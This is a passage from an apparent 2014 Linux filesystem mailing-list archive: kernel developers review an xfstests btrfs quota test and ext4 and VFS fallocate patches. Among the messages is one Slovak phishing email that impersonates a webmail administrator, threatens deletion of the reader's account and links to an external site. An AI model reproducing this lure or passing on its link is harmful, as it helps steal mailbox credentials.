"_cleanup; exit \$status" 0 1 2 3 15 > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_need_to_be_root > +_supported_fs btrfs > +_supported_os Linux > +_require_scratch > + > +rm -f $seqres.full > + > +run_check _scratch_mkfs "-b 2g --nodesize 4096" > +run_check _scratch_mount > + > +# -w ensures that the only ops are ones which cause write I/O > +run_check $FSSTRESS_PROG -d $SCRATCH_MNT -w -p 5 -n 1000 \ > + $FSSTRESS_AVOID >&/dev/null > + > +run_check $BTRFS_UTIL_PROG subvolume snapshot $SCRATCH_MNT \ > + $SCRATCH_MNT/snap1 >>$seqres.full 2>&1 > + > +run_check $FSSTRESS_PROG -d $SCRATCH_MNT/snap1 -w -p 5 -n 1000 \ > + $FSSTRESS_AVOID >&/dev/null > + > +run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT > +run_check $BTRFS_UTIL_PROG quota rescan -w $SCRATCH_MNT "run_check considered harmful." http://oss.sgi.com/archives/xfs/2014-02/msg00482.html Once I've committed Filipe's run_btrfs_util_prog, can you update this series to remove all the unnecessary run_check calls and repost? Thanks! Cheers, Dave. -- Dave Chinner david@fromorbit.com From wangsl.fnst@cn.fujitsu.com Tue Feb 18 01:15:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8AAC77FB3 for ; Tue, 18 Feb 2014 01:15:06 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 719AE304048 for ; Mon, 17 Feb 2014 23:15:03 -0800 (PST) X-ASG-Debug-ID: 1392707698-04cb6c06cf1fee90001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id DuFssJGzQ7miDrTu for ; Mon, 17 Feb 2014 23:15:00 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.97,500,1389715200"; d="scan'208";a="9549504" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 18 Feb 2014 15:11:04 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s1I6vdjX016310; Tue, 18 Feb 2014 14:57:44 +0800 Received: from [10.167.226.104] ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014021814552901-87850 ; Tue, 18 Feb 2014 14:55:29 +0800 Message-ID: <53030400.7010607@cn.fujitsu.com> Date: Tue, 18 Feb 2014 14:56:00 +0800 From: Wang Shilong User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130612 Thunderbird/17.0.6 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH 1/3] xfstests/btrfs: add qgroup rescan stress test References: <1392261539-28903-1-git-send-email-wangsl.fnst@cn.fujitsu.com> <20140218064659.GA28666@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfstests/btrfs: add qgroup rescan stress test In-Reply-To: <20140218064659.GA28666@dastard> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/18 14:55:29, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/18 14:55:38, Serialize complete at 2014/02/18 14:55:38 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1392707700 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145235 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/18/2014 02:46 PM, Dave Chinner wrote: > On Thu, Feb 13, 2014 at 11:18:57AM +0800, Wang Shilong wrote: >> Test flow is to run fsstress after triggering quota rescan. >> the ruler is simple, we just remove all files and directories, >> sync filesystem and see if qgroup's ref and excl are nodesize. >> >> Signed-off-by: Wang Shilong >> --- >> tests/btrfs/038 | 75 +++++++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/btrfs/038.out | 3 +++ >> tests/btrfs/group | 1 + >> 3 files changed, 79 insertions(+) >> create mode 100644 tests/btrfs/038 >> create mode 100644 tests/btrfs/038.out >> >> diff --git a/tests/btrfs/038 b/tests/btrfs/038 >> new file mode 100644 >> index 0000000..f6bd872 >> --- /dev/null >> +++ b/tests/btrfs/038 >> @@ -0,0 +1,75 @@ >> +#! /bin/bash >> +# FSQA Test No. btrfs/038 >> +# >> +# Quota rescan stress test, we run fsstress and quota rescan concurrently >> +# >> +#----------------------------------------------------------------------- >> +# Copyright (C) 2014 Fujitsu. All rights reserved. >> +# >> +# This program is free software; you can redistribute it and/or >> +# modify it under the terms of the GNU General Public License as >> +# published by the Free Software Foundation. >> +# >> +# This program is distributed in the hope that it would be useful, >> +# but WITHOUT ANY WARRANTY; without even the implied warranty of >> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the >> +# GNU General Public License for more details. >> +# >> +# You should have received a copy of the GNU General Public License >> +# along with this program; if not, write the Free Software Foundation, >> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA >> +# >> +#----------------------------------------------------------------------- >> +# >> + >> +seq=`basename $0` >> +seqres=$RESULT_DIR/$seq >> +echo "QA output created by $seq" >> + >> +here=`pwd` >> +tmp=/tmp/$$ >> +status=1 >> + >> +_cleanup() >> +{ >> + rm -f $tmp.* >> +} >> +trap "_cleanup; exit \$status" 0 1 2 3 15 >> + >> +# get standard environment, filters and checks >> +. ./common/rc >> +. ./common/filter >> + >> +# real QA test starts here >> +_need_to_be_root >> +_supported_fs btrfs >> +_supported_os Linux >> +_require_scratch >> + >> +rm -f $seqres.full >> + >> +run_check _scratch_mkfs "-b 2g --nodesize 4096" >> +run_check _scratch_mount >> + >> +# -w ensures that the only ops are ones which cause write I/O >> +run_check $FSSTRESS_PROG -d $SCRATCH_MNT -w -p 5 -n 1000 \ >> + $FSSTRESS_AVOID >&/dev/null >> + >> +run_check $BTRFS_UTIL_PROG subvolume snapshot $SCRATCH_MNT \ >> + $SCRATCH_MNT/snap1 >>$seqres.full 2>&1 >> + >> +run_check $FSSTRESS_PROG -d $SCRATCH_MNT/snap1 -w -p 5 -n 1000 \ >> + $FSSTRESS_AVOID >&/dev/null >> + >> +run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT >> +run_check $BTRFS_UTIL_PROG quota rescan -w $SCRATCH_MNT > "run_check considered harmful." > > http://oss.sgi.com/archives/xfs/2014-02/msg00482.html > > Once I've committed Filipe's run_btrfs_util_prog, can you update > this series to remove all the unnecessary run_check calls and > repost? Thanks! No problem. ^_^ Thanks, Wang > > Cheers, > > Dave. From lczerner@redhat.com Tue Feb 18 02:10:46 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 995FF7FB9 for ; Tue, 18 Feb 2014 02:10:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1D3AAAC008 for ; Tue, 18 Feb 2014 00:10:42 -0800 (PST) X-ASG-Debug-ID: 1392711041-04cb6c6de2516c80001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id X17CH1fxdVRpTf93 for ; Tue, 18 Feb 2014 00:10:41 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1I8AbOw027838 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 18 Feb 2014 03:10:38 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1I8AZKj003490 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 Feb 2014 03:10:36 -0500 Date: Tue, 18 Feb 2014 09:10:34 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: Dave Chinner cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, tytso@mit.edu, xfs@oss.sgi.com Subject: Re: [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate In-Reply-To: <20140218025112.GH13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <1392649703-10772-5-git-send-email-lczerner@redhat.com> <20140218025112.GH13997@dastard> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392711041 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, 18 Feb 2014, Dave Chinner wrote: > Date: Tue, 18 Feb 2014 13:51:12 +1100 > From: Dave Chinner > To: Lukas Czerner > Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, tytso@mit.edu, > xfs@oss.sgi.com > Subject: Re: [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate > > On Mon, Feb 17, 2014 at 04:08:21PM +0100, Lukas Czerner wrote: > > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > > > It can be used to convert a range of file to zeros preferably without > > issuing data IO. Blocks should be preallocated for the regions that span > > holes in the file, and the entire range is preferable converted to > > unwritten extents - even though file system may choose to zero out the > > extent or do whatever which will result in reading zeros from the range > > while the range remains allocated for the file. > > > > This can be also used to preallocate blocks past EOF in the same way as > > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > > size to remain the same. > > > > Signed-off-by: Lukas Czerner > > --- > > fs/open.c | 7 ++++++- > > include/uapi/linux/falloc.h | 1 + > > 2 files changed, 7 insertions(+), 1 deletion(-) > > > > diff --git a/fs/open.c b/fs/open.c > > index 4b3e1ed..6dc46c1 100644 > > --- a/fs/open.c > > +++ b/fs/open.c > > @@ -231,7 +231,12 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) > > return -EINVAL; > > > > /* Return error if mode is not supported */ > > - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) > > + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | > > + FALLOC_FL_ZERO_RANGE)) > > + return -EOPNOTSUPP; > > + > > + /* Punch hole and zero range are mutually exclusive */ > > + if (mode & FALLOC_FL_PUNCH_HOLE && mode & FALLOC_FL_ZERO_RANGE) > > I would have expected gcc to throw a warning on this. Even if it > doesn't, it's so easy to mix up & an && and & it needs parenthesis > around it to make it obvious what you actually meant and it doesn't > have a && where an & should be or vice versa. Better, IMO, is this: > > /* Punch hole and zero range are mutually exclusive */ > if ((mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_ZERO_RANGE)) == > (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_ZERO_RANGE)) > return -EOPNOTSUPP; > > because it's obvious what the intent is and easy to spot typos. Fair enough, I'll change it. Thanks! -Lukas > > Cheers, > > Dave. > From lczerner@redhat.com Tue Feb 18 02:13:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 705D27FBB for ; Tue, 18 Feb 2014 02:13:27 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 57ECB304043 for ; Tue, 18 Feb 2014 00:13:24 -0800 (PST) X-ASG-Debug-ID: 1392711203-04cb6c06cf202030001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id fsEvZKapEthtDQqx for ; Tue, 18 Feb 2014 00:13:23 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1I8DKTN005746 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 18 Feb 2014 03:13:21 -0500 Received: from dhcp-1-138.brq.redhat.com (dhcp-1-138.brq.redhat.com [10.34.1.138]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1I8DHPO006542 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 Feb 2014 03:13:18 -0500 Date: Tue, 18 Feb 2014 09:13:17 +0100 (CET) From: =?ISO-8859-15?Q?Luk=E1=A8_Czerner?= X-X-Sender: lczerner@localhost.localdomain To: "Theodore Ts'o" cc: Andreas Dilger , Ext4 Developers List , linux-fsdevel , xfs@oss.sgi.com Subject: Re: [PATCH 1/6] ext4: Update inode i_size after the preallocation In-Reply-To: <20140217232100.GA26580@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 1/6] ext4: Update inode i_size after the preallocation Message-ID: References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <1392649703-10772-2-git-send-email-lczerner@redhat.com> <9288BED9-A44E-4ACC-9A3D-BC086AB4E121@dilger.ca> <20140217232100.GA26580@thunk.org> User-Agent: Alpine 2.00 (LFD 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1392711203 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, 17 Feb 2014, Theodore Ts'o wrote: > Date: Mon, 17 Feb 2014 18:21:00 -0500 > From: Theodore Ts'o > To: Andreas Dilger > Cc: Lukas Czerner , > Ext4 Developers List , > linux-fsdevel , xfs@oss.sgi.com > Subject: Re: [PATCH 1/6] ext4: Update inode i_size after the preallocation > > On Mon, Feb 17, 2014 at 04:12:14PM -0700, Andreas Dilger wrote: > > > > I don't necessarily agree about this. Calling fallocate() will not > > change the user-visible data at all, so there is no reason to e.g. > > do a new backup of the file or reprocess the contents, or any other > > reason that an application cares about a changed mtime. > > Well, if i_size has changed, then the visible results of reading from > the file will change, so in that case I'd argue m_time should change. > If the results of reading file doesn't change then we can keep m_time > unchanged --- but since the inode is changing, c_time *should* always > change any time we've made any changes to the extent tree. > > - Ted So I guess the consensus is to update m_time only when the inode size changes in fallocate case. I'll change that in the code. Thanks! -Lukas From jegyzo@rackeve.hu Tue Feb 18 02:18:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BD6657FBB for ; Tue, 18 Feb 2014 02:18:34 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4CDBAAC004 for ; Tue, 18 Feb 2014 00:18:31 -0800 (PST) X-ASG-Debug-ID: 1392711508-04cbb00c2b511f00001-w1Z2WR Received: from mail.obecnesiete.sk (mail.obecnesiete.sk [213.215.118.102]) by cuda.sgi.com with ESMTP id 0eRXVel54Nvv0r1l for ; Tue, 18 Feb 2014 00:18:28 -0800 (PST) X-Barracuda-Envelope-From: jegyzo@rackeve.hu X-Barracuda-Apparent-Source-IP: 213.215.118.102 Received: from localhost (localhost [127.0.0.1]) by mail.obecnesiete.sk (Postfix) with ESMTP id 368912B4578A for ; Tue, 18 Feb 2014 09:18:00 +0100 (CET) X-Virus-Scanned: Debian amavisd-new at mail.obecnesiete.sk Received: from mail.obecnesiete.sk ([127.0.0.1]) by localhost (mail.obecnesiete.sk [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 6jSmkHrFeyxe for ; Tue, 18 Feb 2014 09:18:00 +0100 (CET) Received: by mail.obecnesiete.sk (Postfix, from userid 33) id 3FE032B44A32; Tue, 18 Feb 2014 08:55:44 +0100 (CET) To: undisclosed-recipients:; Subject: =?UTF-8?Q?V=C3=A1=C5=BEen=C3=AD=3A=20Webmail=20odberate=C4=BE?= X-PHP-Originating-Script: 33:rcmail.php X-ASG-Orig-Subj: =?UTF-8?Q?V=C3=A1=C5=BEen=C3=AD=3A=20Webmail=20odberate=C4=BE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 8bit Date: Mon, 17 Feb 2014 23:55:44 -0800 From: Webmaster / Administrador2014 Message-ID: <982d37c6ef07aab1b9e18e405f1430f5@smsnitra.sk> X-Sender: jegyzo@rackeve.hu User-Agent: Roundcube Webmail/0.9.5 X-Barracuda-Connect: mail.obecnesiete.sk[213.215.118.102] X-Barracuda-Start-Time: 1392711508 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA717 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145237 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_SA717 Custom Rule BSF_SC0_SA717 -- Vážení: Webmail odberateľ Oznamujeme vám, že váš e-mailový úÄet bol prekroÄený skladovacie kapacity. Nebudete môcÅ¥ odosielaÅ¥ a prijímaÅ¥ e-maily a vaÅ¡e e-mailový úÄet bude vymazaný z nášho servera. Ak sa chcete tomuto problému vyhnúť, Kliknite na odkaz nižšie pre aktualizáciu pokynov http://webmailsupport1.jimdo.com/ ÄŽakujem. Manažérsky tím. From jonernst07@gmail.com Tue Feb 18 02:25:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6F4727FC0 for ; Tue, 18 Feb 2014 02:25:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 34DD7304048 for ; Tue, 18 Feb 2014 00:25:29 -0800 (PST) X-ASG-Debug-ID: 1392711926-04bdf00fc0e2670001-NocioJ Received: from mail-qa0-f54.google.com (mail-qa0-f54.google.com [209.85.216.54]) by cuda.sgi.com with ESMTP id ZXFerxGjRfUod4CP (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 18 Feb 2014 00:25:26 -0800 (PST) X-Barracuda-Envelope-From: jonernst07@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.54 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.54] Received: by mail-qa0-f54.google.com with SMTP id i13so23242960qae.27 for ; Tue, 18 Feb 2014 00:25:25 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.54] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.54] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=A7fHlC8X9GwxPk3o28wYLAp837y+lHcBSoVwSptROKE=; b=X+gmEPEhrXa61u1LxF3XQGJi74xNfhmzm+PlgpTMCuDVb6+WljkqwcmzeFAZcoTpVh uTjiR2Nw9VL+N44Zxigb42izWEG4UpFhiI9R4cjrE4t058BFSGeTwgiKMcZ+Wz9fNAQu cOFbLu9guBKpDAilI7sCigbbateM785+EFNv6wfWapb/tWeVFe0so8nfWbcC9KcHgu+7 v7FRW1w4JCw9dCWYrz4e+zAutP+5MFmtQDOP5j4Kud3+sd9QWHlGfH6nizi97SUlN3PZ IUmhAwgJZIxiR+66YYxZ+UG0Sn4Hw+id3rV6EbCrWZTVyaErPPxFxWCKZdfdQnEtz/rW jMcw== MIME-Version: 1.0 X-Received: by 10.140.107.138 with SMTP id h10mr37750699qgf.30.1392711925821; Tue, 18 Feb 2014 00:25:25 -0800 (PST) Received: by 10.96.123.231 with HTTP; Tue, 18 Feb 2014 00:25:25 -0800 (PST) In-Reply-To: <1392649703-10772-3-git-send-email-lczerner@redhat.com> References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <1392649703-10772-3-git-send-email-lczerner@redhat.com> Date: Tue, 18 Feb 2014 08:25:25 +0000 Message-ID: Subject: Re: [PATCH 2/6] ext4: refactor ext4_fallocate code From: jon ernst X-ASG-Orig-Subj: Re: [PATCH 2/6] ext4: refactor ext4_fallocate code To: Lukas Czerner Cc: "linux-ext4@vger.kernel.org List" , "Theodore Ts'o" , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-qa0-f54.google.com[209.85.216.54] X-Barracuda-Start-Time: 1392711926 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145237 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature seems "int ext4_alloc_file_blocks(struct file *file, ext4_lblk_t offset," should be "static int ext4_alloc_file_blocks(struct file *file, ext4_lblk_t offset," Jon On Mon, Feb 17, 2014 at 3:08 PM, Lukas Czerner wrote: > Move block allocation out of the ext4_fallocate into separate function > called ext4_alloc_file_blocks(). This will allow us to use the same > allocation code for other allocation operations such as zero range which > is commit in the next patch. > > Signed-off-by: Lukas Czerner > --- > fs/ext4/extents.c | 127 +++++++++++++++++++++++++++++++----------------------- > 1 file changed, 73 insertions(+), 54 deletions(-) > > diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c > index 6a52851..2d68a46 100644 > --- a/fs/ext4/extents.c > +++ b/fs/ext4/extents.c > @@ -4513,6 +4513,64 @@ retry: > ext4_std_error(inode->i_sb, err); > } > > +int ext4_alloc_file_blocks(struct file *file, ext4_lblk_t offset, > + ext4_lblk_t len, int flags, int mode) > +{ > + struct inode *inode = file_inode(file); > + handle_t *handle; > + int ret = 0; > + int ret2 = 0; > + int retries = 0; > + struct ext4_map_blocks map; > + unsigned int credits; > + > + map.m_lblk = offset; > + /* > + * Don't normalize the request if it can fit in one extent so > + * that it doesn't get unnecessarily split into multiple > + * extents. > + */ > + if (len <= EXT_UNINIT_MAX_LEN) > + flags |= EXT4_GET_BLOCKS_NO_NORMALIZE; > + > + /* > + * credits to insert 1 extent into extent tree > + */ > + credits = ext4_chunk_trans_blocks(inode, len); > + > +retry: > + while (ret >= 0 && ret < len) { > + map.m_lblk = map.m_lblk + ret; > + map.m_len = len = len - ret; > + handle = ext4_journal_start(inode, EXT4_HT_MAP_BLOCKS, > + credits); > + if (IS_ERR(handle)) { > + ret = PTR_ERR(handle); > + break; > + } > + ret = ext4_map_blocks(handle, inode, &map, flags); > + if (ret <= 0) { > + ext4_debug("inode #%lu: block %u: len %u: " > + "ext4_ext_map_blocks returned %d", > + inode->i_ino, map.m_lblk, > + map.m_len, ret); > + ext4_mark_inode_dirty(handle, inode); > + ret2 = ext4_journal_stop(handle); > + break; > + } > + ret2 = ext4_journal_stop(handle); > + if (ret2) > + break; > + } > + if (ret == -ENOSPC && > + ext4_should_retry_alloc(inode->i_sb, &retries)) { > + ret = 0; > + goto retry; > + } > + > + return ret > 0 ? ret2 : ret; > +} > + > /* > * preallocate space for a file. This implements ext4's fallocate file > * operation, which gets called from sys_fallocate system call. > @@ -4527,11 +4585,9 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) > loff_t new_size = 0; > unsigned int max_blocks; > int ret = 0; > - int ret2 = 0; > - int retries = 0; > int flags; > - struct ext4_map_blocks map; > - unsigned int credits, blkbits = inode->i_blkbits; > + ext4_lblk_t lblk; > + unsigned int blkbits = inode->i_blkbits; > > /* Return error if mode is not supported */ > if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) > @@ -4552,17 +4608,18 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) > return -EOPNOTSUPP; > > trace_ext4_fallocate_enter(inode, offset, len, mode); > - map.m_lblk = offset >> blkbits; > + lblk = offset >> blkbits; > /* > * We can't just convert len to max_blocks because > * If blocksize = 4096 offset = 3072 and len = 2048 > */ > max_blocks = (EXT4_BLOCK_ALIGN(len + offset, blkbits) >> blkbits) > - - map.m_lblk; > - /* > - * credits to insert 1 extent into extent tree > - */ > - credits = ext4_chunk_trans_blocks(inode, max_blocks); > + - lblk; > + > + flags = EXT4_GET_BLOCKS_CREATE_UNINIT_EXT; > + if (mode & FALLOC_FL_KEEP_SIZE) > + flags |= EXT4_GET_BLOCKS_KEEP_SIZE; > + > mutex_lock(&inode->i_mutex); > > if (!(mode & FALLOC_FL_KEEP_SIZE) && > @@ -4573,46 +4630,9 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) > goto out; > } > > - flags = EXT4_GET_BLOCKS_CREATE_UNINIT_EXT; > - if (mode & FALLOC_FL_KEEP_SIZE) > - flags |= EXT4_GET_BLOCKS_KEEP_SIZE; > - /* > - * Don't normalize the request if it can fit in one extent so > - * that it doesn't get unnecessarily split into multiple > - * extents. > - */ > - if (len <= EXT_UNINIT_MAX_LEN << blkbits) > - flags |= EXT4_GET_BLOCKS_NO_NORMALIZE; > - > -retry: > - while (ret >= 0 && ret < max_blocks) { > - map.m_lblk = map.m_lblk + ret; > - map.m_len = max_blocks = max_blocks - ret; > - handle = ext4_journal_start(inode, EXT4_HT_MAP_BLOCKS, > - credits); > - if (IS_ERR(handle)) { > - ret = PTR_ERR(handle); > - break; > - } > - ret = ext4_map_blocks(handle, inode, &map, flags); > - if (ret <= 0) { > - ext4_debug("inode #%lu: block %u: len %u: " > - "ext4_ext_map_blocks returned %d", > - inode->i_ino, map.m_lblk, > - map.m_len, ret); > - ext4_mark_inode_dirty(handle, inode); > - ret2 = ext4_journal_stop(handle); > - break; > - } > - ret2 = ext4_journal_stop(handle); > - if (ret2) > - break; > - } > - if (ret == -ENOSPC && > - ext4_should_retry_alloc(inode->i_sb, &retries)) { > - ret = 